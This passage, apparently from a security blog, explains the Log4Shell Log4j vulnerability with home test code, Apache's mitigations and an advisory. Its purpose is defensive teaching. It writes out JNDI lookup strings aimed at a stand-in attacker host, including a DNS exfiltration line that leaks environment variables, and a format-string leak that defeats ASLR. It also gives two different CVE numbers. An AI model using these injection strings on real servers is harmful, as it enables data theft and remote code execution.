  • Privacy bypasses. Could let other users read or modify content that should be off-limits.

    What to do?

    As always:

    • On your iPhone or iPad: Settings > General > Software Update
    • On your Mac: Apple menu > About this Mac > Software Update…

    As for the infamous Log4Shell hole: yes, this bug can in thoery affect Macs, because the flaw exists in a Java programming library, and Java is a cross-platform environment that runs equally well on Windows, Linux, macOS, xBSD and many other operating systems.

    On Macs and iDevices the risk is generally lower than on computers offering online services that are available to, and proddable by, millions of external users.

    But if you want advice on how to hunt down applications that include the buggy Log4j library, please read our latest Log4Shell explainer-and-advice article:


Log4Shell explained – how it works, why you need to know, and how to fix it

In this article, we explain the Apache Log4Shell vulnerability in plain English, and give you some simple educational code that you can use safely and easily at home (or even directly on your own servers) in order to learn more.

Just to be clear up front: we’re not going to show you how to build a working exploit, or how set up the services you need in the cloud to deliver active payloads.

Instead, you you will learn:

  • How vulnerabilities like this end up in software.
  • How the Log4Shell vulnerability works.
  • The various ways it can be abused.
  • How to use Apache’s suggested mitigations.
  • How to test your mitigations for effectiveness.
  • Where to go from here.

1. Improper input validation

The primary cause of Log4Shell, formally known as CVE-2021-44228, is what NIST calls improper input validation.

Loosely speaking, this means that you place too much trust in untrusted data that arrives from outsiders, and open up your softare to sneaky tricks based on booby-trapped data.

If you’ve ever programmed in C, you’ll almost certainly have bumped into this sort of problem when using the printf() function (format string and print).

Normally, you use it something like this:

 int printf(const char *format, ...); int count; char *name; /* print them out somewhat safely */ print("The name %.20s appeared %d times\n",name,count);

You provide a hard-coded format string as the first argument, where %.20s means “print the next argument as a text string, but give up after 20 bytes just in case”, and %d means “take an integer and print it in decimal”.

It’s tempting also to use printf() when you want to print just a single string, like this, and you often see people making this mistake in code, especially if it’s written in a hurry:

 int printf(const char *format, ...); /* printfhack.c */ int main(int argc, char **argv) { /* print out first command-line argument */ printf(argv[1]); <-- use puts() or similar instead return 0; }

In this code, the user gets not only to choose the string to be printed out, but also to control the very formatting string that decides what to print.

So if you ask this program to print hello, it will do exactly that, but if you ask it to print %X %X %X %X %X then you won’t see those characters in the output, because %X is actually a magic “format code” that tells printf() how to behave.

The special text %X means “get the next value off the program stack and print out its raw value in hexadecimal”.

So a malcontented user who can trick your little program into printing an apparently harmless string of %Xs will actually see something like this:

 C:\Users\duck\> printfhack.exe "%X %X %X %X %X" 155FA30 1565940 B4E090 B4FCB0 4D110A

As it happens, the fifth and last value in the output above, sneakily sucked in from from the program stack, is the return address to which the program jumps after doing the printf()

…so the value 0x00000000004D110A gives away where the program code is loaded into memory, and thus breaks the security provided by ASLR (address space layout randomisation).

Software should never permit untrusted users to use untrusted data to manipulate how that very data gets handled.

Otherwise, data misuse of this sort could result.

2. Log4j considered harmful

There’s a similar sort of problem in Log4j, but it’s much, much worse.

Data supplied by an untrusted outsider – data that you are merely printing out for later reference, or logging into a file – can take over the server on which you are doing the logging.

This could turn what should be a basic “print” instruction into a leak-some-secret-data-out-onto-the-internet situation, or even into a download-and-run-my-malware-at-once command.

Simply put, a log entry that you intended to make for completeness, perhaps even for legal or security reasons, could turn into a malware implantation event.

To understand why, let’s start with a really simple Java program.

You can follow along if you like by installing the current Java SE Development Kit, which was 17.0.1 at the time of writing.

We used Windows, because most of our readers have it, but this code will work fine on Linux or a Mac as well.

Save this as Gday.java:

 public class Gday { public static void main(String... args) { System.out.println("Main says, 'Hello, world.'"); System.out.println("Main is exiting."); } }

Open a command prompt (use CMD.EXE on Windows to match our commands, not PowerShell; use your favourite shell on Linux or Mac) and make sure you can compile and run this file.

Because it contains a main() function, this file is designed to execute as a program, so you should see this when you run it with the java command:

 C:\Users\duck> java Gday.java Main says, 'Hello, world.' Main is exiting. 

If you’ve got this far, your Java Development Kit is installed correctly for what comes next.

Now let’s add Log4j into the mix.

You can download the previous (unpatched) and current (patched) versions from the Apache Log4j site.

You will need: apache-log4j-2.14.1-bin.zip and apache-log4j-2.15.0-bin.zip

We’ll start with the vulnerable version, 2.14.1, so extract the following two files from the relevant zipfile, and place them in the directory where you put your Gday.java file:

 ---Timestamp---- --Size--- --------File--------- 06/03/2021 22:07 300,364 log4j-api-2.14.1.jar 06/03/2021 22:07 1,745,701 log4j-core-2.14.1.jar 

Now tell Java that you want to bring these two extra modules into play by adding them to your CLASSPATH, which is the list of extra Java modules where Java looks for add-on code libraries (put a colon between the filenames on Linux or Mac, and change set to export):

 set CLASSPATH=log4j-core-2.14.1.jar;log4j-api-2.14.1.jar 

(If you don’t add the Log4j JAR files to the list of known modules correctly, you will get “unknown symbol” errors when you run the code below.)

Copy your minimlist Gday.java file to TryLogger.java and modify it like this:

 import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class Gday { static Logger logger = LogManager.getLogger(Gday.class); public static void main(String... args) { System.out.println("Main says, 'Hello, world.'"); logger.error(args[0]); System.out.println("Main is exiting."); } }

Now we can compile, run and pass this program a command line argument, all in one go.

We’re logging with the error() function, even though we are not really dealing with an error, because that logging level is enabled by default, so we don’t need to create a Log4j configuration file.

We’re using the first command-line argument (args[0] in Java, corresponding roughly to argv[1] in C above) as the text to log, so we can inject the logging text externally, as we did above.

If there are spaces in the text string you want to log, put it in double quotes pn Windows, or single-quotes on Linux and Mac:

 C:\Users\duck> java TryLogger.java "Hello there" Main says, 'Hello, world.' 18:40:46.385 [main] ERROR Gday - Hello there Main is exiting. 

(If you don’t put an argument on the command line after the filename TryLogger.java, you will get a java.lang.Array­IndexOutOf­BoundsException, because there won’t be an args[0] string to print out.)

If you’re seeing the middle output line above, starting with a timestamp and a function name, then the Log4j Logger object you created in the program is working correctly.

3. Log4j “lookup” features

Get ready for the scary part, which is documented in some detail on the Apache Log4j site:

“Lookups” provide a way to add values to the Log4j configuration at arbitrary places.

Simply put, the user who’s supplying the data you’re planning to log gets to choose not only how it’s formatted, but even what it contains, and how that content is acquired.

If you’re logging for legal or security purposes, or even simply for completeness, you’re probably surprised to hear this.

Giving the person at the other end a say into how to log the data they submit means not only that your logs don’t always contains a faithful record of the actual data that you received, but also that they might end up containing data from elsewhere on your server that you wouldn’t normally choose to save to a logfile at all.

Lookups in Log4j are triggered not by % characters, as they were in printf() above, but by special ${....} sequences, like this:

 C:\Users\duck> java TryLogger.java "${java:version}/${java:os}" Main says, 'Hello, world.' 18:51:52.959 [main] ERROR Gday - Java version 17.0.1/Windows 10 10.0, architecture: amd64-64 Main is exiting. 

See what happened there?

The only character in the data you supplied that made it into the actual log output was the / (slash) in the middle; the other parts were rewritten with the details of the Java runtime that you’re using.

Even more worryingly, the person who gets to choose the text that’s logged can leak run-time process environment variables into your logfile, like this (put USER instead of USERNAME on Linux or Mac):

 C:\Users\duck\LOG4J> java TryLogger.java "Username is ${env:USERNAME}" Main says, 'Hello, world.' 18:55:47.744 [main] ERROR Gday - Username is duck Main is exiting. 

Given that environment variables sometimes contain temporary private data such as access tokens or session keys, and given that you would usually take care not to keep permanent records of that sort of data, there’s already a significant data leakage risk here.

For example, most web clients include an HTTP header called User-Agent, and most HTTP servers like to keep a record of which browsers came calling, to help them decide which ones to support in future.

An attacker who deliberately sent over a User-Agent string such as ${env:TEMPORARY_SESSION_TOKEN} instead of, say, Microsoft Edge, could cause compliance headaches by tricking your server into saving to disk a data string that was only ever supposed to be stored in memory.

4. Remote lookups possible

There’s more.

Thanks to a feature of the Java runtime called JNDI, short for Java Naming and Directory Interface, Log4j “lookup” commands wrapped in ${...} sequences can not only do simple string replacements, but also do live runtime lookups to arbitary servers, both inside and outside your network.

To see this in action, we need a program that will listen out for TCP connections and report when it gets one, so we can see whether Log4j really is making network connections.

We will use ncat from the free and popular Nmap toolkit; your Linux your distro may already have ncat installed (try it and see), but for Windows you will need to install it from the official Nmap site.

We used version 7.92, which was current at the time of writing.

We’ll keep everything local, referring to the server 127.0.0.1 (or you can use the name localhost, which refers to the same thing), the very computer you are on at the moment:

 C:\Users\duck\LOG4J> ncat -k -vv -c "echo ---CONNECTION [%NCAT_REMOTE_PORT%]--- 1>&2" -l 8888 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888 [. . .program waits here. . .]

To explain the ncat command-line options:

  • -k means to keep listening out for connections, not to exit after the first one.
  • -vv means to be somewhat verbose, so we can verify that it’s listening OK.
  • -c specifies a command that sends a reply to the other end, which is the minimum action we need to trick Log4j so it doesn’t hang up and wait forever. The special variable %NCAT_REMOTE_PORT% (use $NCAT_REMOTE_PORT on Linux and Mac) will be different each time so that we can easily see when new requests come in.
  • -l means to act as a TCP server, by listening on port 8888.

Now try this in your other command window:

 C:\Users\duck> java TryLogger.java ${jndi:ldap://127.0.0.1:8888/blah} Main says, 'Hello, world.' 19:17:21.876 [main] ERROR Gday - ${jndi:ldap://127.0.0.1:8888/blah} Main is exiting.

Even though your command-line argument was echoed precisely in the output, as though no lookup or substitution took place, and as if there were no shenanigans afoot, you should see something curious like this in the ncat window:

 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:50326. NCAT DEBUG: Executing: C:\Windows\system32\cmd.exe /C echo ---CONNECTION [%NCAT_REMOTE_PORT%]--- 1>&2 ---CONNECTION [50326]--- 

This means we’ve tricked our innocent Java progam into making a network connection (we could have used an external servername, thus heading out anywhere on the internet), and reading in yet more arbitary, untrusted data to use in the logging code.

In this case, we deliberately sent back the text string ---CONNECTION [50326]---, which is enough to complete the JNDI lookup, but isn’t legal JNDI data, so our Java program thankfully ignores it and logs the original, unsubtituted data instead. (This makes the test safe to do at home, because there isn’t any remote code execution.)

But in a real-world attack, cybercriminals who knows the right data format to use (we will not show it here, but JNDI is officially documented) could not just send back data for you to use, but even hand you a Java program that your server will then execute to generate the needed data.

You read that correctly!

An attacker who knows the right format, or who knows how to download an attack tool that can supply malicious Java code in the right format, may be able to use the Log4j Logger object as a tool to implant malware on your server, running that malicious code right inside the Java process that called the Logger function.

And there you have it: uncomplicated, reliable, by-design remote code execution (RCE), triggered by user-supplied data that may ironically be getting logged for auditing or security purposes.

5. Is your server affected?

One challenge posed by this vulnerability is to figure out which servers or servers on your network are affected.

At first glance, you might assume that you only need to consider servers with network-facing code that’s written in Java, where the incoming TCP connections that service requests are handled directly by Java software and the Java runtime libraries.

If that were so, then any services fronted by products such as Apache’s own httpd web server, Microsoft IIS, or nginx would implicitly be safe. (All those servers are primarily coded in C or C++.)

But determining both the breadth and depth of this vulnerability in all but the smallest network can be quite tricky, and Log4Shell is not restricted to servers written in 100% pure Java.

After all, it’s not the TCP-based socket handling code that is afflicted by this bug: the vulnerability could lurk anywhere in your back-end network where user-supplied data is processed and logs are kept.

A web server that logs your User-Agent string probably does so directly, so a C-based web server with a C-based logging engine is probably not at risk from booby-trapped User-Agent strings.

But many web servers take data entered into online forms, for example, and pass it on to “business logic” servers in the background that dissect it, parse it, validate it, log it, and reply to it.

If one of those business logic servers is written in Java, it could be the rotten coding apple that spoils the application barrel.

Ideally, then, you need to find any and all code in your network that is written in Java and check whether it uses the Log4j library.

Sophos has published an XDR (extended detection and response) query that will quickly identify Linux servers that have Debian-style or Red Hat-style Log4j packages installed as part of your distro, and report the version in use. This makes it easy to find servers where Log4j is available to any Java programs that want to use it, even if you didn’t knowingly install the library yourself.

Out-of-date Log4j versions need to be updated at soon as possible, even if you don’t think anyone is currently using them.

Remember, of course, that Java programs can be configured to use their own copies of any Java library, or even of Java itself, as we did when we set the CLASSPATH environment variable above.

Search right across your estate, taking in clients and servers running Linux, Mac and Windows, looking for files named log4j*.jar, or log4j-api-*.jar and log4j-core-*.jar.

Unlike executable shared libraries (such as NSS, which we wrote about recently), you don’t need to remember to search for different extensions on each platform because the JAR files we showed above are named identically on all operating systems.

Wherever possible, update any and all copies of Log4j, wherever they are found, as soon as you can.

6. Does the patch work?

You can prove to yourself that the 2.15.0 version suppresses this hole on your systems, at least in the simple test code we sused above, by extracting the new JAR files from the updated apache-log4j-2.15.0-bin.zip file you downloaded earlier:

Extract the following two files from the updated zipfile, and place them in the directory where you put your .java files, alongside the previous JAR versions:

 ---Timestamp---- --Size--- --------File--------- 09/12/2021 11:20 301,805 log4j-api-2.15.0.jar 09/12/2021 11:20 1,789,769 log4j-core-2.15.0.jar

Change your CLASSPATH variable with:

 set CLASSPATH=log4j-core-2.15.0.jar;log4j-api-2.15.0.jar 

Repeat the ${jndi:ldap://127.0.0.1:8888/blah} test shown above, and verify that the ncat connection log no longer shows any network traffic.

The updated version of Log4j still supports the potentially dangerous what-you-see-is-not-what-you-get system of string “lookups”, but network-based JNDI connections, whether on the same machine or reaching out to somewhere else, are no longer enabled by default.

This greatly reduces your risk, both of data exfiltration, for example by means of the ${env:SECRET_VARIABLE} trick mentioned above, and of malware infection via implanted Java code.

7. What if you can’t update?

Apache has proposed three different workarounds in case you can’t update yet; we tried them all and found them to work.

  • A. Run your vulnerable program under Java with an added command line option to suppress JNDI lookups, like this:
 java -Dlog4j2.formatMsgNoLookups=true TryLogger.java ${jndi:ldap://127.0.0.1:8888/try} 

This sets a special system property that prevents any sort of {$jndi:...} activity from triggering a network connection, which prevents both exfiltration and remote code implantation.

  • B. Set an environment variable to force the same result:
 set LOG4J_FORMAT_MSG_NO_LOOKUPS=true java TryLogger.java ${jndi:ldap://127.0.0.1:8888/try} 
  • C. Repackage your log4j-core-*.jar file by unzipping it, deleting the component called org/apache/logging/log4j/core/lookup/JndiLookup.class, and zipping the other files back up again.

We used the popular and free 7-Zip File Manager to do just that, which neatly automates the unzip-and-rezip process, and the modified JAR file solved the problem.

This technique is needed if you have a Log4j version earlier than 2.10.0, because the command-line and environment variable mitigations only work from version 2.10.0 onwards.

Open log4j-core*.jar file you want to patch.
Navigate to lookup directory and right-click to delete JndiLookup.class.

On Linux or Mac you can remove the offending component from the JAR file from the command line like this:

 zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 

This works because Java Archives (.jar files) are actually just ZIP files with a specific internal layout.

8. What else could go wrong?

As we mentioned above, the primary risk of this JNDI “lookup” problem is that a well-informed criminal can not only trick your server into calling out to an untrusted external site…

…but also co-opt it into downloading and blindly executing untrusted code, thus leading to remote code execution (RCE) and malware implantation.

Strict firewall rules that prevent your server from calling out to the internet are an excellent defence-in-depth protection for CVE-2021-44228: if the server can’t make the TCP connection in the first place, it can’t download anything either.

But there is a secondary risk that some attackers are already trying, which could leak out data even if you have a restrictive firewall, by using DNS.

This trick involves the ${env:SECRET_VALUE} sequence we mentioned earlier for sneakily accessing the value of server environment variables.

Even on a non-corporate Windows desktop computer, the default list of environment variables is impressive, including:

 C:\Users\duck> set ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\duck\AppData\Roaming [. . .] COMPUTERNAME=LIVEDEMO [. . .] HOMEDRIVE=C: HOMEPATH=\Users\duck [. . .] LOCALAPPDATA=C:\Users\duck\AppData\Local [. . .] USERDOMAIN=LIVEDEMO USERDOMAIN_ROAMINGPROFILE=LIVEDEMO USERNAME=duck [. . .]

An attacker who knows that TCP requests will not get out of your network can nevertheless steal environment values and other Log4j “lookup” strings like this:

 C:\Users\duck\LOG4J> java TryLogger.java ${jndi:ldap://useris-${env:USERNAME}.dodgy.example/blah Main says, 'Hello, world.' 21:33:35.003 [main] ERROR Gday - ${jndi:ldap://useris-${env:USERNAME}.dodgy.example/blah Main is exiting. 

This looks innocent enough: clearly, there’s no way we can have a real server running at the right location to receive the JNDI callout in this example.

We don’t yet know the value of ${env:SECRET_VALUE} because that is, after all, the very data we are after.

But when we did this test, we had control over the DNS server for the domain dodgy.example, so our DNS server captured the Java code’s attempt to find the relevant servername online, and our DNS records therefore revealed the stolen data.

In the list below, most of the lookups came from elsewhere on our network (browsers looking for ad sites, and a running copy of Teams), but the lookups for useris-duck.dodgy.example were JNDI trying to find the data-leaking servername:

9014--> AAAA for ads.servenobid.com
9015--> A for e3.adpushup.com
9016--> AAAA for e3.adpushup.com
9017--> A for presence.teams.microsoft.com
9018--> AAAA for presence.teams.microsoft.com
[. . .]
9104--> A for useris-duck.dodgy.example <--- leaked the USERNAME string "duck"
9105--> AAAA for useris-duck.dodgy.example
9106--> A for useris-duck.dodgy.example
9107--> AAAA for useris-duck.dodgy.example
[. . .]
9236--> AAAA for e.serverbid.com
9237--> A for e.serverbid.com
9238--> A for e.serverbid.com

In this case, we didn’t even try to resolve useris-duck.dodgy.example and make the server connection work.

We simply sent back an NXDOMAIN (server does not exist) reply and JNDI went no further – but the damage was already done, thanks to the “secret” text duck embedded in the subdomain name.

9. What to do?

IPS rules, WAF rules, firewall rules and web filtering can all help, by blocking malicious CVE-2021-44228 data from outside, and by preventing servers from connecting to unwanted or known-bad sites.

But the staggering number of ways that those dodgy ${jndi:...} exploit strings can be encoded, and the huge number of different places within network data streams that they can appear, means that the best way to help yourself, and thereby to help everyone else as well…

…is one of these two options:

  • Patch your own systems right now. Don’t wait for everyone else to go first.
  • Use one of the mitigations above if you can’t patch yet.

Be part of the solution, not part of the problem!

By the way, our personal recommendation, when the dust has settled, is to consider dropping Log4j if you can.

Remember that this bug, if you can call it that, was the result of a feature, and many aspects of that “feature” remain, leaving outsiders still in control of some of the content of your internal logs.

To paraphrase the old joke about getting lost in the backroads of the countryside, “If cybersecurity is where you want to get to, you probably shouldn’t start from here.”


LEARN HOW CYBERCRIMINALS ARE USING THIS VULNERABILITY IN THE WILD


“Log4Shell” Java vulnerability – how to safeguard your servers

Just when you thought it was safe to relax for the weekend…

…and your cybersecurity Christmas decorations lit up with the latest funkily-named bug: Log4Shell.

Apparently, early reports of the bug referred to it as “LogJam”, because it allows you to JAM dodgy download requests into entries in LOG files.

But LogJam was already taken (in that one, LOG referred to discrete logarithms, as performed in cryptographic calculations, not to logfiles).

So, Log4Shell it became.

The name Log4Shell refers to the fact that this bug is present in a popular Java code library called Log4j (Logging for Java), and to the fact that, if successfully exploited, attackers get what is effectively a shell – a way to run any system code of their choosing.

Unfortunately, the vulnerability was tweeted out as a zero-day hole (the name for a security bug that’s documented before a patch is out), and published as a proof-of-concept (PoC) on GitHub, so the world first got to hear about it while it was still unpatched.

Improper input validation

The bug, now officially denoted CVE-2021-44248, involves sending a request to a vulnerable server in which you include some data – for example, an HTTP header – that you expect (or know) the server will write to its logfile.

But you booby-trap that data so that the server, while wrangling the data into a format suitable for logging, kicks off a web download as an integral part of constructing the needed log entry.

And not just any old download: if the data that comes back is a valid Java program (a .class file, in the jargon), then the server runs that file to “help” it generate the logging data.

The trick is that, by default, unpatched versions of the Log4j library permit logging requests to trigger general-purpose LDAP (directory services) searches, as well as various other online lookups.

That “feature” exists in order to help you convert not-very-useful data, for example user IDs such as OZZJ5JYPVK, into human-reabable information that makes sense on your network, such as Paul Ducklin.

These requests happen via a commonly-used Java toolkit known as JNDI, short for Java Naming and Directory Interface, which is a Java module that makes it easy for Java code to carry out online lookups such as the above-mentioned user-ID-to-real-name conversion.

That sounds dangerous, and it is, because it means that data being logged can trigger server-side code execution, but you might consider it to be mostly harmless if those if those “helper requests” only ever reach out to fully-trusted naming-and-directory servers inside your own network.

But many servers out there aren’t set up that way, and so malicious “logsploiters” could try embedding text such as {$jndi:ldap:dodgy.example:389/badcode} in the data they expect you to log…

…in the hope that, in the process of logging the data, your server will automatically:

  • Use JNDI to make an LDAP request to the specified port (389 in our example) on the specified untrusted external server (dodgy.example above),
  • Fetch the untrusted content at the location badcode on that server, and
  • Execute the attacker-supplied code to “help” you with your logging.

Simply put, this is what the jargon calls unauthenticated remote code execution (RCE).

Without logging in, or needing a password or access token, cybercriminals could use an innocent-looking request to trick your server into reaching out, downloading their code, and infecting itself with their malware.

Depending on what sort of access rights your server has on your internal network, an RCE like this could help cybercriminals to perform a wide range of nefarious tasks.

As you can imagine, attackers could, in theoey: leak data from the server itself; learn details about the internal network it’s connected to; modify data on the server; exfiltrate data from other servers on the network; open additional backdoors on the server or the network for future attacks; implant additional malware such as network snoopers, memory scrapers, data stealers, cryptominers…

…and so on.

What to do?

Apache, which looks after the Log4j product, has published an handy security advisory about the issue.

Recommended steps you can take include:

  • Upgrade to Apache Log4j 2.15.0. If you’re using Log4j, any 2.x version from 2.14.1 earlier is apparently vulnerable by default. (If you are still using Log4j 1.x, don’t, because it’s completely unsupported.)
  • Block JNDI from making requests to untrusted servers. If you can’t update, but you’re using Log4j 2.10.0 or later, you can set the configuration value log4j2.formatMsgNoLookups to true, which prevents LDAP and similar queries from going out in the first place.
  • Check the Java runtime that you’re using. The underlying build of Java that you have may prevent this bug from triggering based on its own default configuration. For example, Apache explicitly lists Oracle Java 8u121 as providing protection against this RCE.

For information on the Log4shell issue and Sophos services, please consult our Security Advisory SOPHOS-SA-20211210-log4j-rce.


go top